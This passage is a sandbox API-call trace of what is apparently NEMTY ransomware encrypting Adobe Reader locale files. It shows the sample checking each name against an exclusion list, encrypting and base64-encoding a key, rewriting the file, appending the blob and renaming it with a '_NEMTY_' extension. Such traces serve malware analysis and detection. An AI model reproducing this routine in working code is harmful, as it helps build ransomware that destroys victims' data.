ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="DVA.TUR", cAlternateFileName="")) returned 1 [0184.916] lstrcmpiW (lpString1="DVA.TUR", lpString2=".") returned 1 [0184.916] lstrcmpiW (lpString1="DVA.TUR", lpString2="..") returned 1 [0184.916] lstrcmpiW (lpString1="DVA.TUR", lpString2="...") returned 1 [0184.916] lstrcmpiW (lpString1="DVA.TUR", lpString2="windows") returned -1 [0184.916] lstrcmpiW (lpString1="DVA.TUR", lpString2="$RECYCLE.BIN") returned 1 [0184.916] lstrcmpiW (lpString1="DVA.TUR", lpString2="rsa") returned -1 [0184.916] lstrcmpiW (lpString1="DVA.TUR", lpString2="NTDETECT.COM") returned -1 [0184.916] lstrcmpiW (lpString1="DVA.TUR", lpString2="ntldr") returned -1 [0184.916] lstrcmpiW (lpString1="DVA.TUR", lpString2="MSDOS.SYS") returned -1 [0184.916] lstrcmpiW (lpString1="DVA.TUR", lpString2="IO.SYS") returned -1 [0184.916] lstrcmpiW (lpString1="DVA.TUR", lpString2="boot.ini") returned 1 [0184.916] lstrcmpiW (lpString1="DVA.TUR", lpString2="boot.ini") returned 1 [0184.917] lstrcmpiW (lpString1="DVA.TUR", lpString2="AUTOEXEC.BAT") returned 1 [0184.917] lstrcmpiW (lpString1="DVA.TUR", lpString2="ntuser.dat") returned -1 [0184.917] lstrcmpiW (lpString1="DVA.TUR", lpString2="desktop.ini") returned 1 [0184.917] lstrcmpiW (lpString1="DVA.TUR", lpString2="CONFIG.SYS") returned 1 [0184.917] lstrcmpiW (lpString1="DVA.TUR", lpString2="RECYCLER") returned -1 [0184.917] lstrcmpiW (lpString1="DVA.TUR", lpString2="BOOTSECT.BAK") returned 1 [0184.917] lstrcmpiW (lpString1="DVA.TUR", lpString2="bootmgr") returned 1 [0184.917] lstrcmpiW (lpString1="DVA.TUR", lpString2="programdata") returned -1 [0184.917] lstrcmpiW (lpString1="DVA.TUR", lpString2="appdata") returned 1 [0184.917] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.TUR", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0184.917] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.TUR", cchWideChar=7, lpMultiByteStr=0x653e890, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.TUR", lpUsedDefaultChar=0x0) returned 7 [0184.917] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.TUR", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0184.917] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.TUR", cchWideChar=7, lpMultiByteStr=0x653e890, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.TUR", lpUsedDefaultChar=0x0) returned 7 [0184.917] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.TUR", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0184.917] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.TUR", cchWideChar=7, lpMultiByteStr=0x653e8e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.TUR", lpUsedDefaultChar=0x0) returned 7 [0184.917] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.TUR", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0184.917] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.TUR", cchWideChar=7, lpMultiByteStr=0x653e918, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.TUR", lpUsedDefaultChar=0x0) returned 7 [0184.917] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0184.917] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0184.917] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0184.917] Sleep (dwMilliseconds=0x5) [0184.920] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x21de2ff0, dwHighDateTime=0x1d561e8)) [0184.920] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x21de2ff0, dwHighDateTime=0x1d561e8)) [0184.920] GetLastError () returned 0x0 [0184.920] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0184.920] GetLastError () returned 0x0 [0184.921] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.921] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0184.921] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0184.921] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0184.921] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0184.921] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0184.921] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0184.921] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="adrgktVcGI4G0ZLBn3W8/9QzfoChjrnkwTqNVxsrPZV3qB2XAojVRIOmS+6ZeUJP\r\nFoCHKnWhEnFxiEuWW/8AEGXA65q99CGzPTW2xERYU1lAAsjGc97JJ7TcuQeZUOW/\r\nRj3h0RwJpsvJOBTVhypbjvXVC7M4yW4l7TcX3bAnoVnnkwIDuhOwR/RAm9r/dHBi\r\nM9kMKTSWfWswMhWONG1Ret7Vy6+C56OWItnK/fJjOlvnSrPQyfnN0KpnrJdnftRN\r\nyf8kfMtigOSo/wo2N+cikpgv61bCivjV5uer6VeheUCGB2Y2Lf2rqLR3za4Mrd1+\r\nsbuEZ9xhr8q3qEZQkRIQqw==\r\n", pcchString=0x653e5dc) returned 1 [0184.921] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0184.921] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0184.921] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0184.921] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0184.921] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0184.921] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0184.921] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\DVA.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\dva.tur"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0184.921] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=17408) returned 1 [0184.921] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x4400) returned 0x6352c48 [0184.922] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.922] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x4400, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x4400, lpOverlapped=0x0) returned 1 [0184.924] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.924] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x4400, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x4400, lpOverlapped=0x0) returned 1 [0184.924] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0184.924] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=17408, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4400 [0184.924] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0184.924] CloseHandle (hObject=0x2e8) returned 1 [0184.924] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0184.924] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0184.925] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0184.925] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0184.925] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0184.925] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0184.925] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0184.925] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0184.925] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0184.925] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0184.925] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\DVA.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\dva.tur"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\DVA.TUR._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\dva.tur._nemty_kgobjgd_")) returned 1 [0184.925] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0184.925] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0184.925] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0184.925] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0184.925] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0184.925] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0184.925] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.925] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0184.925] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83255f00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="eBook.TUR", cAlternateFileName="")) returned 1 [0184.925] lstrcmpiW (lpString1="eBook.TUR", lpString2=".") returned 1 [0184.926] lstrcmpiW (lpString1="eBook.TUR", lpString2="..") returned 1 [0184.926] lstrcmpiW (lpString1="eBook.TUR", lpString2="...") returned 1 [0184.926] lstrcmpiW (lpString1="eBook.TUR", lpString2="windows") returned -1 [0184.926] lstrcmpiW (lpString1="eBook.TUR", lpString2="$RECYCLE.BIN") returned 1 [0184.926] lstrcmpiW (lpString1="eBook.TUR", lpString2="rsa") returned -1 [0184.926] lstrcmpiW (lpString1="eBook.TUR", lpString2="NTDETECT.COM") returned -1 [0184.926] lstrcmpiW (lpString1="eBook.TUR", lpString2="ntldr") returned -1 [0184.926] lstrcmpiW (lpString1="eBook.TUR", lpString2="MSDOS.SYS") returned -1 [0184.926] lstrcmpiW (lpString1="eBook.TUR", lpString2="IO.SYS") returned -1 [0184.926] lstrcmpiW (lpString1="eBook.TUR", lpString2="boot.ini") returned 1 [0184.926] lstrcmpiW (lpString1="eBook.TUR", lpString2="boot.ini") returned 1 [0184.926] lstrcmpiW (lpString1="eBook.TUR", lpString2="AUTOEXEC.BAT") returned 1 [0184.926] lstrcmpiW (lpString1="eBook.TUR", lpString2="ntuser.dat") returned -1 [0184.926] lstrcmpiW (lpString1="eBook.TUR", lpString2="desktop.ini") returned 1 [0184.926] lstrcmpiW (lpString1="eBook.TUR", lpString2="CONFIG.SYS") returned 1 [0184.926] lstrcmpiW (lpString1="eBook.TUR", lpString2="RECYCLER") returned -1 [0184.926] lstrcmpiW (lpString1="eBook.TUR", lpString2="BOOTSECT.BAK") returned 1 [0184.926] lstrcmpiW (lpString1="eBook.TUR", lpString2="bootmgr") returned 1 [0184.926] lstrcmpiW (lpString1="eBook.TUR", lpString2="programdata") returned -1 [0184.926] lstrcmpiW (lpString1="eBook.TUR", lpString2="appdata") returned 1 [0184.926] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.926] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.TUR", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0184.926] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.TUR", cchWideChar=9, lpMultiByteStr=0x653e890, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.TUR", lpUsedDefaultChar=0x0) returned 9 [0184.926] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0184.926] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.TUR", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0184.926] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.TUR", cchWideChar=9, lpMultiByteStr=0x653e890, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.TUR", lpUsedDefaultChar=0x0) returned 9 [0184.926] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0184.926] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.926] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.926] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.TUR", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0184.926] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.TUR", cchWideChar=9, lpMultiByteStr=0x653e8e0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.TUR", lpUsedDefaultChar=0x0) returned 9 [0184.926] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.926] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.927] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.TUR", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0184.927] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.TUR", cchWideChar=9, lpMultiByteStr=0x653e918, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.TUR", lpUsedDefaultChar=0x0) returned 9 [0184.927] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.927] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0184.927] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0184.927] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0184.927] Sleep (dwMilliseconds=0x5) [0184.936] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x21e09150, dwHighDateTime=0x1d561e8)) [0184.936] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x21e09150, dwHighDateTime=0x1d561e8)) [0184.936] GetLastError () returned 0x0 [0184.936] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0184.936] GetLastError () returned 0x0 [0184.936] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.936] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0184.936] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0184.936] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0184.936] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0184.936] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0184.936] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0184.936] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="Mk+aCt0eSV943muHlvlX9CayTswJ0O/PoVVNftAIqjVIECvU31nC43uLaLAJj9Vv\r\n+3nHrTH9bl17IqDsOPg8FLM4RrL3bghJcTUH8YSNoXB3WWui5GXkWEsxTDVZfPeO\r\nQkkelfqI0nhkTq9O9nyg0KgDpoFTVGuIwkUuvQBptn8ivSTrBy+92Kd1raEdRca0\r\nv4G1MNCJQTbki4EL+uyDo9UrsqWkcDj3TidX/tf2LEx1ElNxAEM9m6yCXEK+27GL\r\nQnMSqMpC3/9PKPEUQNCtBYTY/Fz8jI+03mIs9zmbq17N+QnqsQT1aUJcnJHe07lb\r\nhGcjRdybZqCAysx2/N5nxA==\r\n", pcchString=0x653e5dc) returned 1 [0184.936] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0184.936] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0184.936] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0184.936] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0184.936] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0184.937] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0184.937] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\eBook.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\ebook.tur"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0184.937] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=6656) returned 1 [0184.937] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1a00) returned 0x6352c48 [0184.937] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.937] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1a00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x1a00, lpOverlapped=0x0) returned 1 [0184.939] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.939] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1a00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x1a00, lpOverlapped=0x0) returned 1 [0184.939] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0184.939] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=6656, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1a00 [0184.939] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0184.942] CloseHandle (hObject=0x2e8) returned 1 [0184.942] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0184.942] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0184.942] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0184.942] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0184.942] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0184.942] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0184.942] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0184.942] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0184.942] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0184.942] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0184.942] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\eBook.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\ebook.tur"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\eBook.TUR._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\ebook.tur._nemty_kgobjgd_")) returned 1 [0184.942] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0184.943] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0184.943] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0184.943] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0184.943] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0184.943] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0184.943] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.943] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0184.943] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x830d9140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, 